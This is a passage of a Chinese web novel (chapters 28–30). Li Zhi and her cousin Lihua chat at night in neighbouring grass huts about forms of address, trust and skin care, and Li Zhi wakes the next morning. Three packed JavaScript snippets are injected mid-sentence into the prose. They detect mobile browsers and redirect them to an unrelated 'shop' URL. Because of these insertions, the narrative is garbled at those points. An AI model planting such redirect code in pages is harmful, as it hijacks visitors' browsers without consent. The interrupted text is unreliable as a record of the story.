“我觉得自己现在这样生活挺好的。但是,我也不是觉得荔枝姐那样的生活不好。 “对啦,我觉得,荔枝姐做自己、像以往习惯的那样生活下去就好了,不需要为了融入我们改变自己的。 “虽然我没有听舅舅和舅妈这么说过,但我想他们也是这么觉得的吧。” 梨花的话语,让黎芝的心中不由得温暖。 不过,黎芝总觉得,说起这种话的梨花,其实是微妙地误解了自己的意思。 黎芝想问的,本来也不是这个问题。 但事到如今,她又感到,自己好像,无法用语言精准地描述、传达内心真实的想法了。 无奈之下,黎芝只得先放弃了这个想法。 结果,两人争论抑或是闲聊了半天,还是不了了之。 黎芝依然搞不懂,梨花为什么要这样“粗糙”地生活。 从黎芝对父母的观察看来,即使没有血缘关系,父母应该也不会亏待身为孤女的梨花才对。 算了,先不考虑这个问题了,以后再慢慢弄清楚吧。黎芝现在是这样想的。 梨花选择了和黎芝紧挨着的那个第六号草房子。 (梨花会选择这个房子,是有什么深意吗?) 黎芝想问这个问题的时候,梨花却是抢先回答了。 “没有什么深意,只是因为挨着荔枝姐才选择这间房子的。”露出了满面的纯真笑容,梨花说道,“舅舅舅妈说过了,荔枝姐是要照顾我的人。所以,对这个距离荔枝姐很近的我,荔枝姐要记得照顾哦。” (梨花还真是可爱的人呢……) 梨花那天真烂漫的笑容,让黎芝的心也不由得软化了起来。 “我尽力而为吧。”黎芝很无奈地说道,“我感觉,我是在被你照顾才对。” “我照顾荔枝姐?这也谈不上吧。”梨花摇摇头说道,“我也是在尽力而为啊,荔枝姐。” “这感觉真奇妙呢……”黎芝有点茫然地说道,“我没有过妹妹,有妹妹原来是这样的感觉啊。” “我也没有过姐姐。”梨花说道,“原来有姐姐是这样的感觉,很不错呢。荔枝姐也是这么想的吗?” “嗯……”黎芝的心情有些尴尬,她很不安地笑道,“怎么说才好呢?我是觉得,你作为妹妹是很好的对象。但是,一般来说,妹妹应该不会这么可爱的。” 不过说真的,梨花的性格,似乎也不属于“可爱”的典型类型。 当然,说“不可爱”有点过分啦,其实还是可爱的。 只不过,可爱这种特质,总觉得不是梨花性格上的“主旋律”。 那么,到底哪一种是梨花性格上的“主旋律”以及“真我的颜色”呢? 这个,只能说黎芝暂时也不太清楚就是了。 但总而言之,梨花的存在,可爱得让黎芝产生某种心花怒放一般的感情。 梨花这种直率的存在,在以前,黎芝是没有接触过的。 虽然因为不熟悉的关系,而来不及摸索出最好的相处方式;但梨花让黎芝感到轻松愉悦这一点,绝不是错觉。 “被荔枝姐说‘可爱’感觉好开心啊!”梨花爽朗无邪地笑道,“而已,我还想说,荔枝姐好漂亮,是我这辈子见过最漂亮的人了!声音也好好听!就像水果一样,又甜又水润、柔软而甜美!” “嗯……”突然被梨花热情地赞美一番后,黎芝一时不知道该如何反应。 黎芝总觉得,梨花此时的反应有些奇怪。 一般来说,称赞对方的美貌就够了,不会用比称赞美貌更复杂丰富的词汇,形容对方的声音吧? 被称赞声音好听,黎芝倒也不是不高兴。 她就是单纯地,对梨花的关注重点感到奇异而已。 “为什么,你会用比称赞我外表还要更复杂的话,来夸赞我的声音呢?”黎芝想了想,终究还是沉默不下来,她说道,“也不是说你夸我声音好听我会不高兴。我只是觉得有些困惑……” “因为荔枝姐的声音很好听啊!”梨花说道,“虽然荔枝姐的长相,也是我见过的最漂亮的人。但是,长相不如荔枝姐,却很漂亮的人,有很多。声音好听的人,我却几乎没有见过,所以,在我看来,声音好听,要比长相漂亮,稀有得多了。在提到荔枝姐的时候,情不自禁就这么说了。” “这样啊。”黎芝虽然不是很懂,但是被梨花这么一说,倒也高兴了起来。 高兴之余,之前就在心里隐隐约约地想着的事情,也渐渐在黎芝的心里变得清晰了起来。 她很想问一问,但又感到唐突,只得闭口不言了。 总觉得,现在和梨花的关系,有一种“相依为命”“相濡以沫”的奇妙体验。 黎芝想问,梨花是否也有类似的感觉。但转念一想,自己这样的想法,本来就是独特、奇异的。 一旦说出来的话,气氛就会变得有点奇怪。 对方如果没有产生类似黎芝这样的感受的话,黎芝一开口,对方只会感到尴尬的。 所以,还是算了吧。 不论梨花是否会对黎芝抱有类似的心情,这种事情都别问了,真的有点怪异。 “那么,晚安吧。”黎芝有点僵硬地说道,“明天见,梨花妹妹。” “‘梨花’就行啦,叫什么‘梨花妹妹’嘛。听起来就像我是个‘梨花精’似的。”梨花像是觉得很有趣似的,笑嘻嘻地说道,“就像在叫‘田螺姑娘’一样呢。荔枝姐不觉得怪吗?” “你是这么联想的啊……”黎芝也笑了笑,说道,“我倒是没有想到,‘梨花妹妹’和‘田螺姑娘’听起来很像就是了。” 是自己太迟钝了吗?如果梨花不指出来的话,黎芝大概永远都不会发现,“梨花妹妹”与“田螺姑娘”这样的称呼,在语言结构上是有相似之处的。 “嗯,也可能是因为,我觉得对身为‘妹妹’的人叫‘妹妹’的话,反而会降低这个人‘妹妹’的属性感的缘故吧?”梨花说道,“‘荔枝姐’不这么认为吗?” “啊……我还真没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376569|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有发现这一点呢。”黎芝困惑地说道,“那是真的吗?” “是真的啊。”梨花甚至有点地委屈说道,“叫一个真正的‘妹妹’为‘妹妹’的话,简直就等同于说她不是‘妹妹’而强行加上‘妹妹’的属性一样呢……” 也不知道是不是黎芝想多了…… 被梨花这么一说,黎芝的心里,还真的有类似的感觉存在了。 “如果这是真的的话……”黎芝若有所思地说道,“既然是这样,那对一个名字后面加入‘姐’的人而言,加入‘姐’的称呼,是加强还是削弱了她的‘姐姐’属性呢?” “这个感觉的话,就因人而异了。”梨花摇摇头说道,“如果问我的意见的话,我的看法是,不增强也不削弱,‘荔枝姐’与‘姐姐’这两个称呼,在身份上几乎没有差别。” “嗯……原来是这样啊……”黎芝呆呆地点点头。 “我还没有说完呢。”梨花说道,“可是,如果叫‘荔枝姐姐’的话,那感觉就不一样了。就和叫‘妹’属性的人为‘妹妹’一样,叫‘姐姐’也会产生巨大的距离感呢。” “确实……”黎芝这时才若有所思起来,“加上‘姐姐’的话,也会让人感到‘其实并不是姐姐’的印象啊。” “嗯,我说完啦。”梨花笑道,“所以,叫我‘梨花’就可以了,用不着叫我‘梨花妹妹’或是‘梨花妹’之类的哦,听起来好奇怪。” “我知道了。我会的。”黎芝认真地点点头,说道,“以后我都会叫你‘梨花’的。” “对了,所以‘荔枝姐’说的‘晚安’是什么意思啊?”梨花神态很奇妙地说道,“听起来,总觉得这个发音很有魅力,但我不知道是什么意思呢。” “‘晚安’的意思就是‘晚上安好’。”黎芝说道,“是某部小说里的用语。它是从‘请安’一词延伸出来的问好语。基本分成三个版本‘早安’‘午安’‘晚安’。类似的词语还有‘早上好’‘中午好’‘晚上好。’不过,‘早安’和‘午安’都是‘问好’的意思,与‘早上好’‘中午好’没有什么本质的区别。但是,‘晚安’与‘晚上好’却是完全不同的意思。‘晚上好’是刚见面的时候说的,‘晚安’却是分开的时候,知道对方要睡觉了,才说的。” “好时髦哦……”梨花惊讶地说道,“这原来是一部小说里的用语吗?” “对,是大夏小说里,独立的用语、并非被西方所影响的说法哦。”黎芝点点头,又困惑地说道,“梨花怎么了,看来很吃惊的样子。” “荔枝姐好博学啊。”梨花歪着脑袋说道,“竟然连这些‘问好’本就是我国小说的用语都知道。我还以为是西洋传来的舶来词呢。” “博学谈不上啦。对什么我也是略知一二而已。”黎芝谦虚地说道,“但‘晚安’确实是本土的词语,不是舶来词。新鲜的词也不都是舶来词。” “原来是这样……”梨花开心地点点头,说道,“我懂啦。” 虽然,黎芝对梨花是否真的懂了感到怀疑,但暂时就这么认为吧。 “那么,这一次是真的‘晚安’了。”黎芝说道。 28. 第 28 章 结束这一天,让黎芝觉得有些遗憾,但持续下去的结果,也只不过是熬夜而已。 还是让心情平复下来,准备睡觉吧。 草房子的墙上,是有独特的、可开合的“窗户”存在的。 由于草房子的造型每一座都有微妙的不同,每座草房子上窗户的大小与数量也不相同。 装在草房子墙上的窗户,数量是一扇到四扇不等。 黎芝选择的草屋里,有两扇约为三尺见方的窗户。 这种窗户,是以推拉方式开合的。 打开的时候,光线才能照进来。 一旦关闭的话,房间里就会立刻变黑,光亮仿佛都不存在了。 倒是很适合,那种睡觉的时候从来不喜欢光亮、甚至还要用眼罩之类的东西,把眼睛盖起来的人。 但是,黎芝并不是那种睡觉时讨厌光线的人。 恰恰相反,她睡觉的时候,需要有一点光线,才会睡得更香。 若是睡在真的没有光亮的地方,黎芝倒是有可能会不安到难以入睡。 而且,黎芝也不是那种在睡觉的时候,喜欢完全安静的环境的人。 周围环境稍稍混入些不强烈的声音的话,对黎芝来说,也是助眠的。 因为上述原因,所以,即使在睡觉的时候,黎芝也选择开着窗户。 反正,这种草房子似乎有驱虫的效果,即使一直开着窗户,也没有看到虫子进入。 黎芝也就觉得,没必要特意关上窗户来防虫了。 会完全遮住光亮的窗户,黎芝真的不太喜欢。 因此,在这样的月光照耀下,屋子里并不怎么黑。 准备睡觉、却拖着不睡的黎芝,望着那两扇窗户中透过来的些许光线,发起呆来。 她总觉得,即使是这种草片编织而成的窗户,也可以改进成京城常见那种窗户的结构。 不是用草片做成的窗户扇遮光或是透气,而是使用木制窗框粘上窗纸的结构挡风的同时透过光线。 这样一来,在睡觉的时候,应该会更透气、视野也更好吧? 虽然,黎芝暂时还不知道该怎么改进就是了。 现在,黎芝只能在心里先想想而已。 计划之类的事情,还什么都没有,等偶然萌生灵感的时候,再考虑动手也不迟。 “真是的……草原的夜晚,怎么这么黑啊。”虽然没有听众,但黎芝还是不由得自言自语地这么说道。 如果还住在京城的话,在这个时间,即使没有月光、是个朔月之日也没关系,仅凭外面的灯光,都能让屋子里变得亮堂堂的。 但现在,能作为照明的事物,却只有窗外的月光而已。 这一夜的月色,其实还可以。 之前在外面骑马的时候,月亮还没怎么升起来,就不够明亮。 在草房子里面休息的现在,月亮已经升到了半空中,看起来就相当皎洁美丽了。 不知道是不是因为草原特别空旷的原因,即使在草房里透过窗户看出去,月亮也是显得格外的巨大。 这样又圆又大的月亮,好像就是在距离“大辉山”很近的地方升起的一样。 月亮看上去显得很宏伟,很有一种壮阔的感觉。 可是,月光明明很美,但此时此刻,黎芝看着月亮的时候,却总觉得缺了些什么重要的东西似的。 不应该会这样的。 来到“大辉山”之后,黎芝的身边,明明是多了很多她自己虽然从未确定地渴望拥有,但实际上,潜意识里却曾经梦寐以求的、有价值的事物。 可为什么……明明一切都很好,却感到空虚呢? 黎芝认为,那绝不是因为洁癖的、甚至生活方式很精致的自己,必须要和自己微微讨厌的动物相处,还要过着粗粝的生活导致的。 而只是少了什么必不可少的东西,导致的“空虚”与“失落”。 或者更准确点说,与其说是“空虚”,不如说是“缺憾”比较好。 就像原本是存在的、应该在那里的东西,不见了。 最难过的是,虽然感到低落,但却不能清楚地抓住导致低落的原因。 产生这种感情的时候,空虚感也会变得更加强烈的。 黎芝的心情因此感到低落。 这可不是什么好现象。 根据黎芝的经验,心情不开阔的时候,如果找到不开心的原因,梳理开来的话,很快就会变得不那么难受了。 但是如果想不出来自己为什么不开心的话,那就会持续不开心下去,随着时间的流逝,也不会有所好转,很麻烦的。 (我的心情不好,与“月亮”有关吗?) 黎芝想起自己是在看月光的时候,产生这种“缺憾”与“空虚”的感觉的。 那么,大概就是和月亮有关吧?有什么和月亮有关的情感或回忆,导致了这种低落的心情呢? 黎芝又在回忆中摸索了好一会儿,终于想起了一首诗。 “此时相望不相闻,愿逐月华流照君。”那也许是世上最美的诗句,有着最为“沉博绝丽”的意象。 (我在这里,你在那里。此时此刻,你我都可以看到同一轮月亮,但是,你我能看到的只有月亮,却没有彼此。) (如果月亮是一面无比巨大的镜子就好了。) (那样的话,说不定,你可以在镜子里看到我,我也可以在镜子里看到你。) 想到这里,黎芝苦笑了起来。 自己所想的,是多么没有意义的神话传说啊…… 而且,如果真有月亮那么大的镜子的话,应该也是很恐怖的一件事吧? (不要再想着他了……至少,应该停一段时间再去想吧?) 黎芝觉得,母亲余庆帮自己紧急地寄出了一封信的行为,反而加重了她的焦虑与忧郁。 因为,完成寄信这件事的过程,太轻松、容易了。 不仅如此,它甚至都不是黎芝亲自做成的。 这样一来,黎芝所关注的重点,就不是更容易控制的“寄信的过程”本身,而变成了“对方收到信件之后会有什么反应”的揣测。 而这样的情况下,心思细腻、容易焦虑的黎芝,也就因为担心对方收不到信件、或是故意不回信件而不安起来了。 (他到底……是怎么想我的呢?) 明明对方什么也没有做,但黎芝反而因此伤感了起来。 有些事物,是拥有的时候完全感觉不到它的价值,但一旦失去了,却会不停地为之焦虑不安的重要存在。 比如说,空气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376570|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拥有的时候,以为它一文不值;失去的时候,却是一刻也活不下去。 当然,用“空气”来举例,未免过于极端。 但类似的情况,也一定有着很多。 “阳光”“水”“食物”这种最基础的需求,都不用再说了。 “人际关系”竟然也是如此重要的东西。 黎芝曾经以为,自己在“人际关系”这方面非常不重视,她以为自己是个十分冷淡、漠然、甚至可以说讨厌人际交往的人。 事到如今,她才发现,根本不是这么回事。 她其实,在意人际关系,在意得不得了。 只不过,被黎芝在意的人际关系,在京城,仅仅与一个特定的人有关而已。 按照比例的话,在黎芝的社交圈子里,连百分之一的比例都达不到。 (也许是……两百分之一吧?算了,比例什么的根本无所谓。) 正因为这个原因,黎芝忽略了自己对社交的需求。 因为,黎芝在意的人际关系仅仅只有这一个而已,剩下的那百分之九十九,被她自动忽略了。 实际也是可有可无的存在,或者说,至少也是食之无肉、弃之有味的“鸡肋”一样的东西。 而那仅有的一段人际关系就不一样了。 那就相当于是“鸡心”吧。 虽然很小、很少、一点儿也不显眼,但却无比重要。 孤寂忧伤的感受,犹如月光一般,静静地濡湿了黎芝的心情。 “荔枝姐,你睡着了吗?”十分清楚的声音,在隔壁响起。 黎芝正在感伤的时候,却听到梨花突然没头没脑地这么问道。 “啊?为什么要突然问我这个问题?”黎芝很是迷茫地问道,“你现在不准备睡觉吗?” “没什么特别的原因,只是随便问问。”梨花又再清楚地说道。 “这个……我当然没有睡着啊。”黎芝困惑地说道,“如果我睡着了的话,怎么能回答你的问题啊?” “对啊。”梨花笑了起来,说道,“这个问题,本来就是只有回答了的人,才能回答的问题啊。” (什么呀,这不是废话嘛……) “好吧。那我现在确实没有睡着,你要和我说什么吗?”黎芝问道。 “没什么。”梨花又没头没脑地说道。 “什么啊……”黎芝差点生气了。 不过,对方毕竟是自己的妹妹。想到这一点的时候,她忍住了,而且也迅速消了气。 “我是想问荔枝姐,你有什么想说的话,要和我说嘛?”梨花天真明朗地说道,“荔枝姐一个人来这里,会有那种很想诉说、但不好开口的话题想聊吗?如果荔枝姐有这种话题想聊的话,尽管说起就好了,虽然我不一定能够理解,但也一定会努力倾听的哦。” “这个……抱歉,现在不能说。”想了想自己“应该说的话”之后,黎芝还是诚实地说道,“我想说的话,虽然有很多,但是不会和你说的。” “为什么呢?”梨花无知地问道。 “因为,‘交浅不言深’啊。”黎芝说道,“我想说的话,只会和我非常熟悉、非常信任的人说的。虽然我不讨厌你,但是,你也还没有获得我的信任。所以,至少是现在,不能对你说。” 29. 第 29 章 “真的是这样吗……”梨花似乎很惊讶地说道,“荔枝姐还真是坦率呢。恕我冒昧,荔枝姐难道是那种没什么朋友的人吗?我没有讽刺或是其他的恶意,只是单纯想问问……” “嗯,当然是这样。”黎芝又再说道,“咦?这都看得出来吗?其实,只是一两个朋友的话,还是有的啦……” 客观来说,梨花说的话确实有点冒犯了,但黎芝也确实全然不在意。 在黎芝看来,梨花说的话,在内容上虽然有些惹人厌,但反而让她有一种“童言无忌”的感觉。 黎芝并不讨厌这种直率但懵懂的家伙。 而且,能说出刚才那番话,黎芝自己的性格当然也没有好到哪里去。 由于黎芝能认清,自己性格上的遗憾程度、也和梨花半斤八两的缘故,她其实对梨花有种“惺惺相惜”“同病相怜”的感情。 因此,黎芝并不讨厌梨花那些话。 而且,黎芝也很想告诉梨花,自己并不讨厌那些话以及梨花本人,尽管依然对梨花不够信任就是了。 但是,黎芝真希望梨花明白,不信任和讨厌是两码事。 黎芝想过要对梨花说这些,但转念一想,似乎也没有必要。最重要的是,那些自己的想法,真说出来的话,感觉也很奇怪,还是算了吧。 而此时,梨花有点难以置信地补充说道:“其实,我还曾经以为,荔枝姐只是把我一个人,排除在可信的范畴之外了呢……” “我还不至于对一个刚见面的人,就产生提防的心态吧?”黎芝说道,“信任不是从有到无的,而是从无到有的。我现在不信任你,也不等于我之后也不信任你。” “那个,我还想问……”梨花有些小声地说道,“‘荔枝姐不讨厌我’是真的吗?我真的没有被你讨厌吗?” “是真的啊。我不讨厌你。”黎芝有点困惑,“我为什么要讨厌你呢?” “因为……荔枝姐难道不会‘吃醋’吗?”梨花的声音,似乎更小了一些。 虽然梨花的声音很小,但是因为草原上很空旷寂静的缘故,黎芝还是能清楚地听到。 (如果是京城的话,这么小的声音,我一定没法听到的。) 这种奇妙的感觉,真让黎芝感到新奇。 “吃醋?吃什么醋?”黎芝不理解地问道。 “那个……就是……嗯……”梨花软弱地说道,“荔枝姐难道不会觉得,我和舅舅舅妈的关系,比较像是一家人。觉得我跟舅舅舅妈更熟悉,而自己反而有种‘外来者’的感觉吗?” (梨花是不是太敏感了……) “啊?会这样吗?”黎芝对此毫无概念,她说道,“我倒是没有这样的感觉啦。可能,我比较迟钝吧。” “那就好。”梨花闷闷地说道,“我还是很担心,荔枝姐会因为这件事讨厌我。而且,我也害怕舅舅舅妈让荔枝姐照顾我这件事,会让荔枝姐讨厌我。” “你在说什么呢……”黎芝不由得苦笑了起来,她说道,“我没那么小心眼啦。再说了……说到底,他们说的‘照顾你’,其实是为了给我面子吧。无论怎么去看,都是你在‘照顾我’还差不多呢。毕竟,我对草原上的事情可是一窍不通呢。” “诶?真的吗?”梨花很惊讶地说道,“我都不知道……荔枝姐是这么想的吗?” “那当然。”黎芝说道,“比如,你带我骑马这件事,难道不是你照顾我吗?” “这……不算吧?”梨花说道,“如果不带荔枝姐骑马的话,我也没法独自回去啊。总不能把你抛在那里……” “算啊,怎么不算呢。”黎芝说道,“总而言之,就是你在照顾我啊。这点真的没错的。” “嗯……谢谢。”梨花说道,“谢谢荔枝姐是这么想的。” “我也要谢谢你。”黎芝说道,“嗯……那你还有什么想问的吗?” 半夜三更,突然和黎芝说起这种有点无聊的话题,黎芝总觉得梨花另有深意。 “我……我还想说,嗯……”梨花嗫嚅着说道,“对不起,荔枝姐,刚才是我错了。” “啊?你错了什么?”黎芝一头雾水。 “就是……我觉得,跟荔枝姐说,要你有不方便说给别人听的心里话,对我说出来,这个建议是不对的。”梨花说道,“荔枝姐的主张才是对的。我们还不熟,我不应该让你把你的心事说给我听,这太不礼貌了。” “啊……这种事无所谓啦。”黎芝笑道,“你想多了,我没有那么小心眼啦。” “不小心眼是荔枝姐的事情,但是我做了不礼貌的事情,是不应该的。”梨花的态度有些羞愧。 “其实你没做错什么。”黎芝说道,“是我的性格太过于谨慎慢热了。本来,就有很多人是可以向初次见面没多久的人吐露心声的,只是,那不包括我而已。” “是啊。荔枝姐其实不是那样的人。”梨花说道,“荔枝姐比我想象的要坚强独立多了。所以,我不太擅长和荔枝姐这样的人相处。总觉得荔枝姐在讨厌我……” “没有没有。”黎芝宽慰地说道,“我干吗要讨厌你呢。你是个好孩子。” “好孩子?是真的吗?”梨花说道,“如果荔枝姐是真心这么想的,再这么说吧。如果荔枝姐不是这么想的,请不要为了宽慰我而说。这样的话,我会搞不清楚自己是不是做对了的。” “是真的。”黎芝说道,“我觉得你是个坦率天真的好孩子。就是,太过于缺乏边界感了。其实这也不是你的错,是我的错。是我的边界感太强了,以至于把你对比的很不正常吧。” 总而言之……黎芝觉得这些因素都并不重要。虽然,什么对人际交往来说是重要的,黎芝也同样说不出来。 “为什么荔枝姐的边界感很强呢?”梨花有些困惑地说道,“我觉得,荔枝姐其实和我一样,都有一种天真的、‘理想主义’的气质。” “你还知道‘理想主义’这个词呢?”黎芝惊讶了起来。 “是的。知道的。”梨花有些羞涩地说道,“是舅舅舅妈教给我的。” “啊……真的吗?”黎芝问道,“对了,你知不知道,我爸爸是干什么的?我的爸爸妈妈除了开牧场和民宿之外,是否还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376571|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么别的工作呀。” “舅妈的话,是做生意的吧。”梨花羞涩地笑道,“虽然,舅妈做的生意,都不怎么赚钱就是了。但是舅妈做的生意也没有赔钱,所以大家就不去在意她的行为啦。” “我想也是。”黎芝叹了口气,说道,“妈妈想的生意,听起来就不会赚钱的样子。” “至于舅舅的话,他主要的工作是农场。”梨花说道,“不过,当需要的时候,他会客串做教师。他也是我们‘辉山’这里最重要的教师之一哦。” “爸爸原来是教师啊!”黎芝有些意外,但仔细回想一下,倒也不是特别突兀。 父亲看起来确实比较文雅。 虽然肤色有些黑,这一点倒是不太符合教师的印象了。 但在这一带生活劳动的话,恐怕本来就不容易保持白皙肤色吧。 想到这里,黎芝忽然觉得很慌张。 以后出门可能要多做好防晒工作,比如说戴个帽子什么的…… 对自己白皙光洁如高级瓷器的皮肤,黎芝非常自傲。 虽然不是绝对不能晒黑,但如果真的晒黑的话,黎芝确实会感到有些可惜的。 “嗯,是的,舅舅是教师。”梨花回答。 “对了,我还想问个问题……”黎芝虽然感到有些难以启齿,但还是忍不住问道,“我们这里的人,有没有皮肤白皙光滑的啊?” “有吧。”梨花说道,“虽然不是很多,但是也不算特别稀少。像荔枝姐这种白皙程度的倒是没有。” “真的吗?”黎芝有些不信,她问道,“那你知道为什么有的人皮肤白,有的人皮肤黑吗?” “知道。”梨花居然能领悟黎芝真正的用意,她说道,“荔枝姐是担心皮肤被风吹日晒弄黑,是吗?” 这该怎么说呢……黎芝觉得有些不好意思,但这也是实情没错。 “是的。”虽然黎芝不太好意思,觉得担心这个实在很不光荣,但这确实是她真实的想法,想了想还是直接承认了比较好。 “并不是我们这里的人皮肤都黑啦。”梨花说道,“是因为我和一些人,性格太粗野了,整天在外面疯玩,才会比较黑的。像荔枝姐这样比较内敛文静的大小姐性格,应该能和你在京城的时候,一样白皙吧。” “这样吗……”黎芝倒是没想过这个可能,但梨花说的也的确有道理可言。 “是的。”梨花说道,“荔枝姐不用担心。就算你不相信我的话,你在这里生活一段时间,不也能感觉到,这里的风日是否比别的地方更强烈吗?” “嗯……暂时是没发现。”黎芝回想了一下这里的风与太阳,确实没有感觉比在京城更猛烈毒辣。 “所以,荔枝姐不用担心这个的。”梨花说道,“皮肤的质量,与其说跟风土有关,不如说跟个人习惯有关。” “你很喜欢在外面玩吗?”知道不用担心这个之后,多少放下心来的黎芝,有点想结束话题,却又不知道该如何结束才好,只得笨拙地继续搭话。 “因为,在房间里待着太没有意思了。”梨花有点寂寞地说道。 30. 第 30 章 梨花嘟囔着说道:“如果有人陪着我‘在房间里玩’的话,我也不用一直‘出去玩’了嘛。不过,其实还是‘出去玩’好玩啦……” 虽然知道梨花这么说是在撒娇,不过黎芝倒是不讨厌这种当姐姐的感觉。 “那……如果你真那么喜欢、而我又有空的话,我就陪你玩吧。”展露出柔和的微笑,黎芝说道,“不过,日后爸爸妈妈会不会让我去干活,我不知道呢。如果我得去干活的话,就不能陪你了。” 虽然黎芝有些担心自己干不来牧场里的活计,但总得适应的。 黎芝心想,既然选择了和家人一起生活,自己就要努力和家人同甘共苦。 仔细想想,能和某些人“同甘共苦”,也不是什么坏事。 黎芝甚至觉得,能有这样的对象,是很幸福的事情。 黎芝想起了自己过去读的一些小说里的故事。 有些家庭虽然很穷苦,但却互相爱着彼此,有着“相依为命”“相濡以沫”的温暖感觉,比起养父养母家的冰冷氛围要好多了。 读小说的时候,黎芝也一直有些羡慕这样的家庭。 尽管黎芝对贫穷有些恐惧,但对爱的渴望,却是可以多少战胜这种恐惧,依然使得她向往那自己未曾经历过的生活。 (不过,即使是爸爸妈妈和梨花的这个家,也不算是贫穷家庭啊。) (这样的话,亲情会不会也会一样的淡薄呢?) 亲身经历、以及阅读小说的经验,使得黎芝对亲情的理解有些扭曲。 黎芝总是下意识认为,亲情与金钱地位是此消彼长的。而过去的见识,也不足以让她对这个略为扭曲的认知,清楚地判断正误。 “应该不会让荔枝姐干活儿的啦。”梨花用无邪的声音说道,“舅舅舅妈并没让我干什么活儿,应该也不会让你干什么活儿的吧……” (梨花不用干活?我们家的劳动这么少的吗?) 黎芝对梨花的话感到有些困惑。 “那……家里的活都是谁在干呢?”黎芝问道,“大家都不做活的话,它总不会自己完成吧?” “舅妈很能干唷。”梨花说道,“舅舅也差不多。不过,舅舅在家的时间没有舅妈在家的时间多。而且,舅舅舅妈也可以雇人干活呀。我们家是开牧场的,不可能所有的工作都自己做吧……” “原来是这样啊。果然牧场的工作很多呢。”黎芝点了点头 虽然知道梨花不可能看到自己的动作,但她还是不由得做了这个动作。 “荔枝姐,你困了是吗?”梨花突然敏锐地问出问题。 “啊?你怎么知道的?”黎芝惊讶地反问道。 自己困了,黎芝当然知道。 但是让她很想不通的一点是,隔着草屋的墙壁、应该看不到黎芝的梨花,怎能察觉到黎芝精神状态上的变化呢? “因为……荔枝姐的声音变得有些混沌沙哑了啊。”梨花说道,“荔枝姐的声音本来是很甜润清亮的,特点很明显呢。但现在变了,所以,我认为这就是荔枝姐犯困的时候的声音了。” “是啊。你说得对。”即使只是被称赞声音,黎芝都会有些不好意思,她有些腼腆地说道,“那……我们现在是不是该睡了?” “好呀。那就快睡吧。”梨花意犹未尽地说道,“其实,我还是希望和荔枝姐再说一些话啊。不过,今天就算了吧。” 于是,停止了聊天的,两人就这样准备入睡了。 也许是因为实在太过疲惫的关系,黎芝还没来得及思考清楚“我现在该睡着了”的时候,就已经真的睡着了。 不过,就算跟之前的旅途上的睡眠比起来,也是今天的睡眠格外迅速而香甜。 也许是因为,今天是旅途开始后第一次睡在家里的关系。 在家里睡觉,自然比在旅途上睡觉要安心平稳得多了。 睡前有话,但一夜无话。 在准备睡觉、但还没有睡着的时候,黎芝也想了很多事情。 不过,这些想法都太过于琐碎,不值得一提。 醒来后,黎芝没有立刻起床,而是先赖在枕头上想了想。 她觉得,最应该优先思考的,果然还是该梳理好“哪些才是真正重要的事情”这一点吧。 来到“大辉山”之后,那些与自己过去所在的世界里、完全不同的一切,都让黎芝感到十分陌生。 她很想尽快适应这里,但并不是一件容易的事情。 迄今为止,黎芝都是过着平稳、近乎一成不变的生活的。 由于缺乏“改变”的经验,她很不擅长应对“剧烈的变化”。 当时,到底是产生了多大的勇气,才让自己选择了“逃离原本的那个‘家’”,来到这里啊?黎芝现在回忆起来,都感到不可思议。 虽然正是不久之前发生的事情,但对黎芝来说,遥远得就好像是昔日的梦一般。 (不要怕。既然过去的我能鼓起勇气来到这里,那现在的我和未来的我也一定能适应这里各种各样的变化的。) 俗话说,“车到山前必有路,船到桥头自然直”。黎芝用这句俗语给自己打气。 尽管对这里还完全不熟悉,但黎芝依然思考了很多关于“自己要在这里做什么、能做什么”的内容。 而且,这些都是刚刚想出来的新鲜内容。可惜的是,黎芝不知道哪些是用得上的,哪些是用不上的。 睡前,她虽然想了很多。但一到了醒来的时候,却是基本全都忘记了。 忘记了虽然很可惜,但这也无所谓,如果是真正重要的事情,那肯定会记得。 如果会忘记的话,那就说明本来就不那么重要吧。 黎芝这样自欺欺人地想着。 尽管如此,她又何尝不知道这只是自欺欺人呢? 正儿八经地准备做计划的话,那还是不要简单地只用脑子去思考吧。 用上笔记本与笔认真做记录的话,才能记住自己转瞬即逝的思考碎片。从而,为思考复杂的计划,做较为理想的准备。 所以,以后有时间的话,就用纸笔来整理自己的想法与计划吧。 黎芝是这么想的。 然后,黎芝深深地吸了一口气,从床上坐了起来。 只看外型的话,“草房子”当然是十分古怪的建筑。 但是,房子里面有着浓浓的草木清香,闻起来很沁人心脾。 因而,黎芝虽然在这样自己完全不熟悉的地方睡了一夜,却 